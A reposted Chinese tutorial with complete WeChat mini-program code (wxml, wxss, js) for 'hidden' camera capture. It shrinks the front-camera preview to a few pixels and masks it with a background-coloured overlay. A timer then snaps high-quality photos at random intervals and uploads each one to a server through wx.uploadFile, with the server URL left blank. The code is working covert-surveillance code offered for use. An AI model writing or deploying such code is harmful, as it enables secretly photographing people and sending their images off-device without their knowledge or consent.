最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 科技 - 知识百科 - 正文

微信小程序调用摄像头隐藏式拍照功能

来源:动视网 责编:小OO 时间:2020-11-27 22:09:26
文档

微信小程序调用摄像头隐藏式拍照功能

只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化。同样<;cover-view>;也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。 。完成代码。wxml代码。
推荐度:
导读只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化。同样<;cover-view>;也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。 。完成代码。wxml代码。


只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化

同样<cover-view>也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。 

完成代码:

wxml代码:

<view class="page-body">
<view class="page-body-wrapper">
<camera device-position="front" flash="off" binderror="error" class="camera" bindstop='bindstop' binderror='binderror'>
<cover-view class='border_writh'></cover-view>
</camera>
<view class="btn-area">
<button type="primary" bindtap="stoptime">停止</button>
</view>
<view class="preview-tips">预览</view>
<image wx:if="{{src}}" mode="widthFix" src="{{src}}"></image>
</view>
</view>

wxss代码:

.preview-tips {
  margin: 20rpx 0;
}
.video {
  margin: 50px auto;
  width: 100%;
  height: 300rpx;
}
.border_writh{
  width: 30rpx;
  height: 30rpx;
  background-color:#1aad19;
}
.camera{
  position: absolute;
  top: 5rpx;
  left: 5rpx;
  width: 10rpx;
  height: 14rpx;
}

js代码:

var time = null;
Page({
/**
* 页面的初始数据
*/
data: {
},
onLoad() {
},
//定时器拍照
setTime: function() {
  let that = this
  let ctx = wx.createCameraContext()
  time = setInterval(function() {
    if (Math.round(Math.random()) == 1) {
      console.log('拍照')
      //拍照
      ctx.takePhoto({
        quality: 'high',
        success: (res) => {
          console.log(res.tempImagePath)
          that.setData({
            src: res.tempImagePath
          })
          that.localhostimgesupdata(res.tempImagePath)
        }
      })
    }
  }, 1000 * 10) //循环间隔 单位ms
},
//图片上传
localhostimgesupdata: function(imgPath) {
  console.log('图片上传')
  wx.uploadFile({
    url: '', /图片上传服务器真实的接口地址
    filePath: imgPath,
    name: 'imgFile',
    success: function(res) {
      wx.showToast({
        title: '图片上传成功',
        icon: 'success',
        duration: 2000
      })
    }
  })
},
stoptime: function() {
  console.log('定时停止')
  clearInterval(time)
},
bindstop: function() {
  console.log('非正常停止')
},
binderror: function() {
  console.log('用户拒绝授权')
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function() {
  console.log('显示')
  //定时器
  this.setTime();
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function() {
  console.log('隐藏')
  clearInterval(time)
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function() {
  console.log('卸载')
  clearInterval(time)
},
})

总结

以上所述是小编给大家介绍的微信小程序调用摄像头隐藏式拍照功能,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

文档

微信小程序调用摄像头隐藏式拍照功能

只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化。同样<;cover-view>;也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。 。完成代码。wxml代码。
推荐度:
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top